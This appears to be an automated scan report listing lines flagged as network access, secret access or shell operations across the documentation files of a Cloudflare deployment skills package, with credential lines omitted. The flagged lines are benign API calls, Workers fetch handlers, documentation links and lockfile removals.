  • Access to secretsline 46
    [Credential-related source omitted]
  • Network accessline 47
    timeout: 120000,        // 2 min (default 60s), in milliseconds   maxRetries: 5,          // default 2   baseURL: 'https://...', // proxy (rare)
  • Network accessline 48
    maxRetries: 5,          // default 2   baseURL: 'https://...', // proxy (rare) });
  • Network accessline 49
    baseURL: 'https://...', // proxy (rare)
  • Access to secretsline 63
    [Credential-related source omitted]
  • Network accessline 64
    timeout=120,         # seconds (default 60)     max_retries=5,       # default 2     base_url="https://...",  # proxy (rare)
  • Network accessline 65
    max_retries=5,       # default 2     base_url="https://...",  # proxy (rare) )
  • Network accessline 66
    base_url="https://...",  # proxy (rare)
  • Access to secretsline 77
    [Credential-related source omitted]
  • Network accessline 78
    option.WithMaxRetries(5),  // default 10 (higher than TS/Python)     option.WithRequestTimeout(2 * time.Minute),  // default 60s     option.WithBaseURL("https://..."),  // proxy (rare)
  • Network accessline 79
    option.WithRequestTimeout(2 * time.Minute),  // default 60s     option.WithBaseURL("https://..."),  // proxy (rare) )
  • Network accessline 80
    option.WithBaseURL("https://..."),  // proxy (rare)
  • Access to secretsline 130
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/api/gotchas.md

  • Access to secretsline 111
    [Credential-related source omitted]
  • Access to secretsline 132
    [Credential-related source omitted]
  • Access to secretsline 211
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/argo-smart-routing/README.md

  • Network accessline 13
    curl -X PATCH "https://api.cloudflare.com/client/v4/zones/{zone_id}/argo/smart_routing" \
  • Access to secretsline 23
    [Credential-related source omitted]
  • Network accessline 87
    - [Cloudflare Argo Smart Routing Docs](https://developers.cloudflare.com/argo-smart-routing/)
  • Network accessline 88
    - [Cloudflare Smart Shield](https://developers.cloudflare.com/smart-shield/)
  • Network accessline 89
    - [Spectrum Documentation](https://developers.cloudflare.com/spectrum/)
  • Network accessline 90
    - [Tiered Cache](https://developers.cloudflare.com/cache/how-to/tiered-cache/)

packages/autoskills/skills-registry/cloudflare-deploy/references/argo-smart-routing/api.md

  • Network accessline 7
    https://api.cloudflare.com/client/v4
  • Network accessline 25
    **cURL Example:**
  • Network accessline 27
    curl -X GET "https://api.cloudflare.com/client/v4/zones/{zone_id}/argo/smart_routing" \
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 63
    [Credential-related source omitted]
  • Network accessline 82
    **cURL Example:**
  • Network accessline 84
    curl -X PATCH "https://api.cloudflare.com/client/v4/zones/{zone_id}/argo/smart_routing" \

packages/autoskills/skills-registry/cloudflare-deploy/references/argo-smart-routing/configuration.md

  • Access to secretsline 114
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/argo-smart-routing/gotchas.md

  • Network accessline 107
    - [Official Argo Smart Routing Docs](https://developers.cloudflare.com/argo-smart-routing/)
  • Network accessline 108
    - [Cloudflare Smart Shield](https://developers.cloudflare.com/smart-shield/)
  • Network accessline 109
    - [API Authentication](https://developers.cloudflare.com/fundamentals/api/get-started/create-token/)
  • Network accessline 110
    - [Cloudflare TypeScript SDK](https://github.com/cloudflare/cloudflare-typescript)
  • Network accessline 111
    - [Cloudflare Python SDK](https://github.com/cloudflare/cloudflare-python)

packages/autoskills/skills-registry/cloudflare-deploy/references/bindings/README.md

  • Network accessline 32
    | Binding | Use Case | Access Pattern | |---------|----------|----------------| | **Service** | Worker-to-Worker RPC | `env.MY_SERVICE.fetch(req)` |
  • Network accessline 33
    |---------|----------|----------------| | **Service** | Worker-to-Worker RPC | `env.MY_SERVICE.fetch(req)` | | **Workers AI** | LLM inference | `env.AI.run(model, input)` |
  • Network accessline 34
    | **Service** | Worker-to-Worker RPC | `env.MY_SERVICE.fetch(req)` |
  • Network accessline 36
    | **Browser Rendering** | Headless Chrome | `env.BROWSER.fetch(url)` |
  • Access to secretsline 53
    [Credential-related source omitted]
  • Network accessline 95
    export default {   async fetch(request, env, ctx) {
  • Network accessline 96
    async fetch(request, env, ctx) {
  • Network accessline 121
    - [Cloudflare Docs: Bindings](https://developers.cloudflare.com/workers/runtime-apis/bindings/)
  • Network accessline 122
    - [Wrangler Configuration](https://developers.cloudflare.com/workers/wrangler/configuration/)

packages/autoskills/skills-registry/cloudflare-deploy/references/bindings/api.md

  • Access to secretsline 24
    [Credential-related source omitted]
  • Network accessline 50
    ### Method 1: fetch() Handler (Recommended)
  • Network accessline 53
    export default {   async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> {
  • Network accessline 54
    async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> {
  • Network accessline 93
    **Avoid:** Use fetch() handler instead (Method 1).
  • Network accessline 144
    await env.MY_SERVICE.fetch(new Request('https://fake/path'));
  • Network accessline 159
    const id = env.MY_DO.idFromName('user-123'); const stub = env.MY_DO.get(id); await stub.fetch(new Request('https://fake/increment'));
  • Network accessline 161
    await stub.fetch(new Request('https://fake/increment'));
  • Network accessline 181
    // ❌ BAD async fetch(request: Request, env: any) { }
  • Network accessline 182
    async fetch(request: Request, env: any) { }
  • Network accessline 184
    // ✅ GOOD async fetch(request: Request, env: Env) { }
  • Network accessline 185
    async fetch(request: Request, env: Env) { }
  • Network accessline 202
    - [Workers Types Package](https://www.npmjs.com/package/@cloudflare/workers-types)
  • Network accessline 203
    - [Wrangler Types Command](https://developers.cloudflare.com/workers/wrangler/commands/#types)

packages/autoskills/skills-registry/cloudflare-deploy/references/bindings/configuration.md

  • Network accessline 68
    {   "vars": {     "API_URL": "https://api.example.com",
  • Network accessline 69
    "vars": {     "API_URL": "https://api.example.com",     "MAX_RETRIES": "3"
  • Network accessline 70
    "API_URL": "https://api.example.com",
  • Access to secretsline 81
    [Credential-related source omitted]
  • Network accessline 133
    "vars": { "API_URL": "https://api.example.com" },
  • Network accessline 158
    export class Counter {   constructor(private state: DurableObjectState, private env: Env) {}   async fetch(request: Request) { /* ... */ }
  • Network accessline 159
    constructor(private state: DurableObjectState, private env: Env) {}   async fetch(request: Request) { /* ... */ } }
  • Network accessline 160
    async fetch(request: Request) { /* ... */ }
  • Network accessline 188
    - [Wrangler Configuration](https://developers.cloudflare.com/workers/wrangler/configuration/)

packages/autoskills/skills-registry/cloudflare-deploy/references/bindings/gotchas.md

  • Access to secretsline 9
    [Credential-related source omitted]
  • Network accessline 11
    export default {   async fetch(request: Request, env: Env) {
  • Network accessline 12
    async fetch(request: Request, env: Env) {
  • Network accessline 25
    export default {   async fetch(request: Request, env: Env) {
  • Network accessline 26
    async fetch(request: Request, env: Env) {
  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 119
    [Credential-related source omitted]
  • Access to secretsline 148
    [Credential-related source omitted]
  • Access to secretsline 149
    [Credential-related source omitted]
  • Network accessline 207
    - [Workers Limits](https://developers.cloudflare.com/workers/platform/limits/)
  • Network accessline 208
    - [Wrangler Commands](https://developers.cloudflare.com/workers/wrangler/commands/)

packages/autoskills/skills-registry/cloudflare-deploy/references/bindings/patterns.md

  • Network accessline 8
    // auth-worker export default {   async fetch(request: Request, env: Env) {
  • Network accessline 9
    [Credential-related source omitted]
  • Network accessline 10
    async fetch(request: Request, env: Env) {
  • Network accessline 16
    // api-worker const response = await env.AUTH_SERVICE.fetch(
  • Network accessline 17
    const response = await env.AUTH_SERVICE.fetch(
  • Network accessline 18
    new Request('https://fake-host/validate', {
  • Network accessline 28
    // ❌ HTTP (slow, paid, cross-region latency) await fetch('https://auth-worker.example.com/validate');
  • Network accessline 29
    await fetch('https://auth-worker.example.com/validate');
  • Network accessline 31
    // ✅ Service binding (fast, free, same isolate) await env.AUTH_SERVICE.fetch(new Request('https://fake-host/validate'));
  • Network accessline 32
    await env.AUTH_SERVICE.fetch(new Request('https://fake-host/validate'));
  • Network accessline 44
    // auth-worker export default {   async fetch(request: Request): Promise<Response> {
  • Network accessline 45
    export default {   async fetch(request: Request): Promise<Response> {     const body: AuthRequest = await request.json();
  • Network accessline 46
    async fetch(request: Request): Promise<Response> {
  • Network accessline 53
    // api-worker const response = await env.AUTH_SERVICE.fetch(
  • Network accessline 54
    const response = await env.AUTH_SERVICE.fetch(
  • Network accessline 55
    new Request('https://fake/validate', {
  • Access to secretsline 67
    [Credential-related source omitted]
  • Access to secretsline 68
    [Credential-related source omitted]
  • Access to secretsline 69
    [Credential-related source omitted]
  • Network accessline 73
    // Use secret const response = await fetch('https://api.example.com', {
  • Network accessline 74
    const response = await fetch('https://api.example.com', {
  • Access to secretsline 75
    [Credential-related source omitted]
  • Access to secretsline 82
    [Credential-related source omitted]
  • Network accessline 106
    const response = await worker.fetch(
  • Network accessline 107
    new Request('http://localhost/test'),
  • Network accessline 172
    const id = env.COUNTER.idFromName('global'); const stub = env.COUNTER.get(id); await stub.fetch(new Request('https://fake/increment'));
  • Network accessline 174
    await stub.fetch(new Request('https://fake/increment'));
  • Access to secretsline 183
    [Credential-related source omitted]
  • Network accessline 185
    **❌ Using REST API:** `fetch('https://api.cloudflare.com/.../kv/...')`
  • Network accessline 194
    [Credential-related source omitted]
  • Access to secretsline 194
    [Credential-related source omitted]
  • Network accessline 195
    [Credential-related source omitted]
  • Access to secretsline 195
    [Credential-related source omitted]
  • Network accessline 199
    - [Service Bindings Docs](https://developers.cloudflare.com/workers/runtime-apis/bindings/service-bindings/)
  • Network accessline 200
    - [Miniflare Testing](https://miniflare.dev/)

packages/autoskills/skills-registry/cloudflare-deploy/references/bot-management/README.md

  • Network accessline 63
    // Workers: Check bot score export default {   async fetch(request: Request): Promise<Response> {
  • Network accessline 64
    export default {   async fetch(request: Request): Promise<Response> {     const botScore = request.cf?.botManagement?.score;
  • Network accessline 65
    async fetch(request: Request): Promise<Response> {
  • Network accessline 68
    return new Response('Bot detected', { status: 403 });     }     return fetch(request);
  • Network accessline 69
    }     return fetch(request);   }
  • Network accessline 70
    return fetch(request);

packages/autoskills/skills-registry/cloudflare-deploy/references/bot-management/api.md

  • Network accessline 25
    export default {   async fetch(request: Request): Promise<Response> {
  • Network accessline 26
    async fetch(request: Request): Promise<Response> {
  • Network accessline 30
    if (!botMgmt) return fetch(request);
  • Network accessline 31
    if (botMgmt.verifiedBot) return fetch(request); // Allow verified bots
  • Network accessline 35
    return fetch(request);
  • Network accessline 84
    export default {   async fetch(request: Request): Promise<Response> {
  • Network accessline 85
    async fetch(request: Request): Promise<Response> {
  • Network accessline 89
    if (!ja4Signals) return fetch(request); // Not available for HTTP or Worker routing
  • Network accessline 100
    return fetch(request);

packages/autoskills/skills-registry/cloudflare-deploy/references/bot-management/patterns.md

  • Network accessline 69
    // Low score + not corporate proxy = likely datacenter bot export default {   async fetch(request: Request): Promise<Response> {
  • Network accessline 70
    export default {   async fetch(request: Request): Promise<Response> {     const cf = request.cf as IncomingRequestCfProperties | undefined;
  • Network accessline 71
    async fetch(request: Request): Promise<Response> {
  • Network accessline 80
    return fetch(request);
  • Network accessline 90
    // Add delay proportional to bot suspicion export default {   async fetch(request: Request): Promise<Response> {
  • Network accessline 91
    export default {   async fetch(request: Request): Promise<Response> {     const cf = request.cf as IncomingRequestCfProperties | undefined;
  • Network accessline 92
    async fetch(request: Request): Promise<Response> {
  • Network accessline 102
    return fetch(request);
  • Network accessline 139
    export default {   async fetch(request: Request): Promise<Response> {
  • Network accessline 140
    async fetch(request: Request): Promise<Response> {
  • Network accessline 145
    if (botMgmt?.staticResource) return fetch(request); // Skip static
  • Network accessline 157
    return fetch(request);

packages/autoskills/skills-registry/cloudflare-deploy/references/browser-rendering/README.md

  • Network accessline 78
    - [Cloudflare Docs](https://developers.cloudflare.com/browser-rendering/)

packages/autoskills/skills-registry/cloudflare-deploy/references/browser-rendering/api.md

  • Network accessline 5
    **Base:** `https://api.cloudflare.com/client/v4/accounts/{accountId}/browser-rendering`
  • Network accessline 22
    curl -X POST '.../browser-rendering/screenshot' \
  • Network accessline 24
    -d '{"url":"https://example.com","screenshotOptions":{"fullPage":true}}'
  • Network accessline 39
    const browser = await puppeteer.launch(env.MYBROWSER, { keep_alive: 600000 }); const page = await browser.newPage(); await page.goto('https://example.com', { waitUntil: 'networkidle0' });
  • Network accessline 41
    await page.goto('https://example.com', { waitUntil: 'networkidle0' });
  • Network accessline 71
    await page.goto('https://example.com', { waitUntil: 'networkidle' });

packages/autoskills/skills-registry/cloudflare-deploy/references/browser-rendering/configuration.md

  • Network accessline 34
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 35
    async fetch(request: Request, env: Env): Promise<Response> {
  • Access to secretsline 38
    [Credential-related source omitted]
  • Network accessline 54
    curl -X POST \
  • Network accessline 55
    'https://api.cloudflare.com/client/v4/accounts/{accountId}/browser-rendering/screenshot' \
  • Network accessline 57
    -d '{"url": "https://example.com"}' --output screenshot.png

packages/autoskills/skills-registry/cloudflare-deploy/references/browser-rendering/gotchas.md

  • Network accessline 24
    try {   const page = await browser.newPage();   await page.goto("https://example.com");
  • Network accessline 25
    const page = await browser.newPage();   await page.goto("https://example.com");   return new Response(await page.content());
  • Network accessline 26
    await page.goto("https://example.com");

packages/autoskills/skills-registry/cloudflare-deploy/references/browser-rendering/patterns.md

  • Network accessline 8
    export default {   async fetch(request, env) {
  • Network accessline 9
    async fetch(request, env) {
  • Network accessline 11
    try {       const page = await browser.newPage();       await page.goto("https://example.com");
  • Network accessline 12
    const page = await browser.newPage();       await page.goto("https://example.com");       return new Response(await page.content());
  • Network accessline 13
    await page.goto("https://example.com");

packages/autoskills/skills-registry/cloudflare-deploy/references/c3/configuration.md

  • Network accessline 17
    {   "$schema": "https://raw.githubusercontent.com/cloudflare/workers-sdk/main/packages/wrangler/config-schema.json",
  • Network accessline 18
    "$schema": "https://raw.githubusercontent.com/cloudflare/workers-sdk/main/packages/wrangler/config-schema.json",

packages/autoskills/skills-registry/cloudflare-deploy/references/c3/gotchas.md

  • Dangerous shell operationline 46
    rm pnpm-lock.yaml  # If using npm
  • Dangerous shell operationline 47
    rm package-lock.json  # If using pnpm

packages/autoskills/skills-registry/cloudflare-deploy/references/cache-reserve/README.md

  • Network accessline 102
    # Enable via Dashboard https://dash.cloudflare.com/caching/cache-reserve
  • Network accessline 103
    https://dash.cloudflare.com/caching/cache-reserve
  • Network accessline 114
    # Check Cache Reserve status curl -X GET "https://api.cloudflare.com/client/v4/zones/$ZONE_ID/cache/cache_reserve" \
  • Network accessline 115
    [Credential-related source omitted]
  • Access to secretsline 115
    [Credential-related source omitted]
  • Access to secretsline 116
    [Credential-related source omitted]
  • Network accessline 118
    # Enable Cache Reserve curl -X PATCH "https://api.cloudflare.com/client/v4/zones/$ZONE_ID/cache/cache_reserve" \
  • Network accessline 119
    [Credential-related source omitted]
  • Access to secretsline 119
    [Credential-related source omitted]
  • Access to secretsline 120
    [Credential-related source omitted]
  • Network accessline 124
    # Check asset cache status curl -I https://example.com/asset.jpg | grep -i cache
  • Network accessline 125
    curl -I https://example.com/asset.jpg | grep -i cache

packages/autoskills/skills-registry/cloudflare-deploy/references/cache-reserve/api.md

  • Network accessline 10
    │ • Cache Reserve → zone-level setting, automatic, no per-req   │ │ • You CANNOT selectively write to Cache Reserve from Workers  │ │ • Cache Reserve works with standard fetch(), not cache.put()  │
  • Network accessline 11
    │ • You CANNOT selectively write to Cache Reserve from Workers  │ │ • Cache Reserve works with standard fetch(), not cache.put()  │ └────────────────────────────────────────────────────────────────┘
  • Network accessline 12
    │ • Cache Reserve works with standard fetch(), not cache.put()  │
  • Network accessline 18
    ### Standard Fetch (Recommended)
  • Network accessline 21
    // Cache Reserve works automatically via standard fetch export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 22
    export default {   async fetch(request: Request, env: Env): Promise<Response> {     // Standard fetch uses Cache Reserve automatically
  • Network accessline 23
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 24
    // Standard fetch uses Cache Reserve automatically     return await fetch(request);   }
  • Network accessline 25
    return await fetch(request);
  • Network accessline 37
    let response = await cache.match(request); if (!response) {   response = await fetch(request);
  • Network accessline 38
    if (!response) {   response = await fetch(request);   await cache.put(request, response.clone()); // Bypasses Cache Reserve!
  • Network accessline 39
    response = await fetch(request);
  • Network accessline 43
    // ✅ CORRECT: Use standard fetch for Cache Reserve compatibility return await fetch(request);
  • Network accessline 44
    return await fetch(request);
  • Network accessline 48
    let response = await customCache.match(request); if (!response) {   response = await fetch(request);
  • Network accessline 49
    if (!response) {   response = await fetch(request);   await customCache.put(request, response.clone()); // Custom cache OK
  • Network accessline 50
    response = await fetch(request);
  • Network accessline 64
    urls: string[] ) => {   const response = await fetch(
  • Network accessline 65
    ) => {   const response = await fetch(     `https://api.cloudflare.com/client/v4/zones/${zoneId}/purge_cache`,
  • Network accessline 66
    const response = await fetch(
  • Network accessline 67
    `https://api.cloudflare.com/client/v4/zones/${zoneId}/purge_cache`,
  • Network accessline 80
    // Example usage await purgeCacheReserveByURL('zone123', 'token456', [   'https://example.com/image.jpg',
  • Network accessline 81
    await purgeCacheReserveByURL('zone123', 'token456', [   'https://example.com/image.jpg',   'https://example.com/video.mp4'
  • Network accessline 82
    'https://example.com/image.jpg',
  • Network accessline 83
    'https://example.com/video.mp4'
  • Network accessline 90
    // Purge by cache tag - forces revalidation, not immediate removal await fetch(
  • Network accessline 91
    await fetch(
  • Network accessline 92
    `https://api.cloudflare.com/client/v4/zones/${zoneId}/purge_cache`,
  • Network accessline 108
    // Requires Cache Reserve OFF first await fetch(
  • Network accessline 109
    await fetch(
  • Network accessline 110
    `https://api.cloudflare.com/client/v4/zones/${zoneId}/cache/cache_reserve_clear`,

packages/autoskills/skills-registry/cloudflare-deploy/references/cache-reserve/configuration.md

  • Network accessline 8
    # Navigate to dashboard https://dash.cloudflare.com/caching/cache-reserve
  • Network accessline 9
    https://dash.cloudflare.com/caching/cache-reserve
  • Network accessline 23
    # Enable curl -X PATCH "https://api.cloudflare.com/client/v4/zones/$ZONE_ID/cache/cache_reserve" \
  • Network accessline 24
    [Credential-related source omitted]
  • Access to secretsline 24
    [Credential-related source omitted]
  • Access to secretsline 25
    [Credential-related source omitted]
  • Network accessline 28
    # Check status curl -X GET "https://api.cloudflare.com/client/v4/zones/$ZONE_ID/cache/cache_reserve" \
  • Network accessline 29
    [Credential-related source omitted]
  • Access to secretsline 29
    [Credential-related source omitted]
  • Access to secretsline 30
    [Credential-related source omitted]
  • Access to secretsline 43
    [Credential-related source omitted]
  • Access to secretsline 68
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/cache-reserve/gotchas.md

  • Network accessline 77
    - **Official Docs**: https://developers.cloudflare.com/cache/advanced-configuration/cache-reserve/
  • Network accessline 78
    - **API Reference**: https://developers.cloudflare.com/api/resources/cache/subresources/cache_reserve/
  • Network accessline 79
    - **Cache Rules**: https://developers.cloudflare.com/cache/how-to/cache-rules/
  • Network accessline 80
    - **Workers Cache API**: https://developers.cloudflare.com/workers/runtime-apis/cache/
  • Network accessline 81
    - **R2 Documentation**: https://developers.cloudflare.com/r2/
  • Network accessline 82
    - **Smart Shield**: https://developers.cloudflare.com/smart-shield/
  • Network accessline 83
    - **Tiered Cache**: https://developers.cloudflare.com/cache/how-to/tiered-cache/

packages/autoskills/skills-registry/cloudflare-deploy/references/cache-reserve/patterns.md

  • Network accessline 71
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 72
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 73
    const response = await fetch(request);
  • Network accessline 101
    // Optimal: L1 (visitor) → L2 (region) → L3 (Cache Reserve) → Origin export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 102
    export default {   async fetch(request: Request, env: Env): Promise<Response> {     const url = new URL(request.url);
  • Network accessline 103
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 104
    const url = new URL(request.url);     const isImmutable = /\.[a-f0-9]{8,}\.(js|css|jpg|png|woff2)$/.test(url.pathname);     const response = await fetch(request);
  • Network accessline 106
    const response = await fetch(request);

packages/autoskills/skills-registry/cloudflare-deploy/references/containers/README.md

  • Network accessline 31
    export default {   async fetch(request: Request, env: Env) {
  • Network accessline 32
    async fetch(request: Request, env: Env) {
  • Network accessline 33
    const container = env.MY_CONTAINER.getByName("instance-1");     await container.startAndWaitForPorts();     return container.fetch(request);
  • Network accessline 34
    await container.startAndWaitForPorts();     return container.fetch(request);   }
  • Network accessline 35
    return container.fetch(request);
  • Network accessline 83
    - [Workflows](../workflows/) - Orchestrate container operations - [Queues](../queues/) - Trigger containers from queue messages - [Cloudflare Docs](https://developers.cloudflare.com/containers/)
  • Network accessline 85
    - [Cloudflare Docs](https://developers.cloudflare.com/containers/)

packages/autoskills/skills-registry/cloudflare-deploy/references/containers/api.md

  • Network accessline 68
    ### fetch() - HTTP with WebSocket support
  • Network accessline 71
    // ✅ Supports WebSocket upgrades const response = await container.fetch(request);
  • Network accessline 72
    const response = await container.fetch(request);
  • Network accessline 73
    const response = await container.fetch("http://container/api", {
  • Network accessline 88
    **⚠<U+FE0F> Critical:** Use `fetch()` for WebSocket, not `containerFetch()`.
  • Network accessline 104
    this.switchPort(8081);  // Subsequent fetch() uses this port
  • Network accessline 153
    export class ScheduledContainer extends Container {   async fetch(request: Request) {
  • Network accessline 154
    async fetch(request: Request) {
  • Network accessline 180
    export class MyContainer extends Container {   async fetch(request: Request) {
  • Network accessline 181
    async fetch(request: Request) {

packages/autoskills/skills-registry/cloudflare-deploy/references/containers/configuration.md

  • Network accessline 103
    export class MyContainer extends Container {   // Port Configuration   defaultPort = 8080;             // Default port for fetch() calls
  • Network accessline 104
    // Port Configuration   defaultPort = 8080;             // Default port for fetch() calls   requiredPorts = [8080, 9090];   // Ports to wait for in startAndWaitForPorts()
  • Network accessline 105
    defaultPort = 8080;             // Default port for fetch() calls
  • Network accessline 130
    - **`defaultPort`**: Port used when calling `container.fetch()` without explicit port. Falls back to port 33 if not set.

packages/autoskills/skills-registry/cloudflare-deploy/references/containers/gotchas.md

  • Network accessline 3
    ### ⚠<U+FE0F> WebSocket: fetch() vs containerFetch()
  • Network accessline 9
    **Fix:** Always use `fetch()` for WebSocket
  • Network accessline 15
    // ✅ CORRECT return container.fetch(request);
  • Network accessline 16
    return container.fetch(request);
  • Network accessline 28
    // ❌ WRONG await container.start(); return container.fetch(request);
  • Network accessline 30
    return container.fetch(request);
  • Network accessline 32
    // ✅ CORRECT await container.startAndWaitForPorts(); return container.fetch(request);
  • Network accessline 34
    return container.fetch(request);
  • Network accessline 102
    **Cause:** Calling `fetch()` before port ready
  • Network accessline 160
    1. **Use `startAndWaitForPorts()` by default** - Prevents port errors 2. **Set appropriate `sleepAfter`** - Balance resources vs cold starts 3. **Use `fetch()` for WebSocket** - Not `containerFetch()`
  • Network accessline 161
    2. **Set appropriate `sleepAfter`** - Balance resources vs cold starts 3. **Use `fetch()` for WebSocket** - Not `containerFetch()` 4. **Design for restarts** - Ephemeral disk, implement graceful shutdown
  • Network accessline 162
    3. **Use `fetch()` for WebSocket** - Not `containerFetch()`

packages/autoskills/skills-registry/cloudflare-deploy/references/containers/patterns.md

  • Network accessline 11
    export default {   async fetch(request: Request, env: Env) {
  • Network accessline 12
    async fetch(request: Request, env: Env) {
  • Network accessline 14
    const container = env.SESSION_BACKEND.getByName(sessionId);     await container.startAndWaitForPorts();     return container.fetch(request);
  • Network accessline 15
    await container.startAndWaitForPorts();     return container.fetch(request);   }
  • Network accessline 16
    return container.fetch(request);
  • Network accessline 26
    export default {   async fetch(request: Request, env: Env) {
  • Network accessline 27
    async fetch(request: Request, env: Env) {
  • Network accessline 28
    const container = env.STATELESS_API.getRandom();     await container.startAndWaitForPorts();     return container.fetch(request);
  • Network accessline 29
    await container.startAndWaitForPorts();     return container.fetch(request);   }
  • Network accessline 30
    return container.fetch(request);
  • Network accessline 40
    export default {   async fetch(request: Request, env: Env) {
  • Network accessline 41
    async fetch(request: Request, env: Env) {
  • Network accessline 42
    const container = env.GLOBAL_SERVICE.getByName("singleton");     await container.startAndWaitForPorts();     return container.fetch(request);
  • Network accessline 43
    await container.startAndWaitForPorts();     return container.fetch(request);   }
  • Network accessline 44
    return container.fetch(request);
  • Network accessline 54
    export default {   async fetch(request: Request, env: Env) {
  • Network accessline 55
    async fetch(request: Request, env: Env) {
  • Network accessline 61
    // ⚠<U+FE0F> MUST use fetch(), not containerFetch()
  • Network accessline 62
    return container.fetch(request);
  • Network accessline 69
    **⚠<U+FE0F> Critical:** Always use `fetch()` for WebSocket.
  • Network accessline 97
    async fetch(request: Request) {
  • Network accessline 102
    }     });     return super.fetch(request);
  • Network accessline 103
    });     return super.fetch(request);   }
  • Network accessline 104
    return super.fetch(request);
  • Network accessline 139
    async fetch(request: Request) {
  • Network accessline 141
    if (path.startsWith("/grpc")) this.switchPort(8081);     else if (path.startsWith("/metrics")) this.switchPort(9090);     return super.fetch(request);
  • Network accessline 142
    else if (path.startsWith("/metrics")) this.switchPort(9090);     return super.fetch(request);   }
  • Network accessline 143
    return super.fetch(request);
  • Network accessline 163
    const result = await step.do("process", async () => {       return container.fetch("/process", {
  • Network accessline 164
    return container.fetch("/process", {
  • Network accessline 187
    const response = await container.fetch("/process", {

packages/autoskills/skills-registry/cloudflare-deploy/references/cron-triggers/README.md

  • Network accessline 70
    npx wrangler dev curl "http://localhost:8787/__scheduled?cron=*/5+*+*+*+*"
  • Network accessline 71
    curl "http://localhost:8787/__scheduled?cron=*/5+*+*+*+*"

packages/autoskills/skills-registry/cloudflare-deploy/references/cron-triggers/api.md

  • Network accessline 123
    # Trigger any cron curl "http://localhost:8787/__scheduled?cron=*/5+*+*+*+*"
  • Network accessline 124
    curl "http://localhost:8787/__scheduled?cron=*/5+*+*+*+*"
  • Network accessline 126
    # Trigger specific cron with custom time curl "http://localhost:8787/__scheduled?cron=0+2+*+*+*&scheduledTime=1704067200000"
  • Network accessline 127
    curl "http://localhost:8787/__scheduled?cron=0+2+*+*+*&scheduledTime=1704067200000"

packages/autoskills/skills-registry/cloudflare-deploy/references/cron-triggers/configuration.md

  • Network accessline 114
    curl "https://api.cloudflare.com/client/v4/accounts/{account_id}/workers/scripts/{script_name}/schedules" \
  • Network accessline 120
    curl -X PUT "https://api.cloudflare.com/client/v4/accounts/{account_id}/workers/scripts/{script_name}/schedules" \
  • Network accessline 128
    curl -X PUT "https://api.cloudflare.com/client/v4/accounts/{account_id}/workers/scripts/{script_name}/schedules" \
  • Network accessline 167
    **Test cron syntax:** - [crontab.guru](https://crontab.guru/) - Interactive validator
  • Network accessline 168
    - [crontab.guru](https://crontab.guru/) - Interactive validator

packages/autoskills/skills-registry/cloudflare-deploy/references/cron-triggers/gotchas.md

  • Network accessline 57
    # Correct curl "http://localhost:8787/__scheduled?cron=*/5+*+*+*+*"
  • Network accessline 58
    curl "http://localhost:8787/__scheduled?cron=*/5+*+*+*+*"
  • Network accessline 60
    # Wrong (will fail) curl "http://localhost:8787/__scheduled?cron=*/5 * * * *"
  • Network accessline 61
    curl "http://localhost:8787/__scheduled?cron=*/5 * * * *"
  • Network accessline 123
    export default {   async fetch(request, env, ctx) {
  • Network accessline 124
    async fetch(request, env, ctx) {
  • Access to secretsline 141
    [Credential-related source omitted]
  • Network accessline 145
    export default {   async fetch(request, env, ctx) {
  • Network accessline 146
    async fetch(request, env, ctx) {
  • Network accessline 194
    - [Cron Triggers Docs](https://developers.cloudflare.com/workers/configuration/cron-triggers/)
  • Network accessline 195
    - [Scheduled Handler API](https://developers.cloudflare.com/workers/runtime-apis/handlers/scheduled/)
  • Network accessline 196
    - [Cloudflare Workflows](https://developers.cloudflare.com/workflows/)
  • Network accessline 197
    - [Workers Limits](https://developers.cloudflare.com/workers/platform/limits/)
  • Network accessline 198
    - [Crontab Guru](https://crontab.guru/) - Validator
  • Network accessline 199
    - [Vitest Pool Workers](https://github.com/cloudflare/workers-sdk/tree/main/fixtures/vitest-pool-workers-examples)

packages/autoskills/skills-registry/cloudflare-deploy/references/cron-triggers/patterns.md

  • Network accessline 6
    [Credential-related source omitted]
  • Network accessline 7
    [Credential-related source omitted]
  • Network accessline 8
    [Credential-related source omitted]
  • Access to secretsline 8
    [Credential-related source omitted]
  • Network accessline 35
    const reportKey = `reports/weekly-${Date.now()}.json`;     await env.REPORTS_BUCKET.put(reportKey, JSON.stringify(report));     ctx.waitUntil(env.SEND_EMAIL.fetch("https://example.com/send", {method: "POST", body: JSON.stringify({to: "team@
  • Network accessline 36
    await env.REPORTS_BUCKET.put(reportKey, JSON.stringify(report));     ctx.waitUntil(env.SEND_EMAIL.fetch("https://example.com/send", {method: "POST", body: JSON.stringify({to: "team@example.com", subject: "Weekly Report", reportUrl: `https:/
  • Network accessline 37
    ctx.waitUntil(env.SEND_EMAIL.fetch("https://example.com/send", {method: "POST", body: JSON.stringify({to: "team@example.com", subject: "Weekly Report", reportUrl: `https://reports.example.com/${reportKey}`})}));
  • Network accessline 45
    export default {   async scheduled(controller, env, ctx) {     const services = [{name: "API", url: "https://api.example.com/health"}, {name: "CDN", url: "https://cdn.example.com/health"}];
  • Network accessline 46
    async scheduled(controller, env, ctx) {     const services = [{name: "API", url: "https://api.example.com/health"}, {name: "CDN", url: "https://cdn.example.com/health"}];     const checks = await Promise.all(services.map(async (service) => 
  • Network accessline 47
    const services = [{name: "API", url: "https://api.example.com/health"}, {name: "CDN", url: "https://cdn.example.com/health"}];
  • Network accessline 49
    const start = Date.now();       try {         const response = await fetch(service.url, { signal: AbortSignal.timeout(5000) });
  • Network accessline 50
    try {         const response = await fetch(service.url, { signal: AbortSignal.timeout(5000) });         return {name: service.name, status: response.ok ? "up" : "down", responseTime: Date.now() - start};
  • Network accessline 51
    const response = await fetch(service.url, { signal: AbortSignal.timeout(5000) });
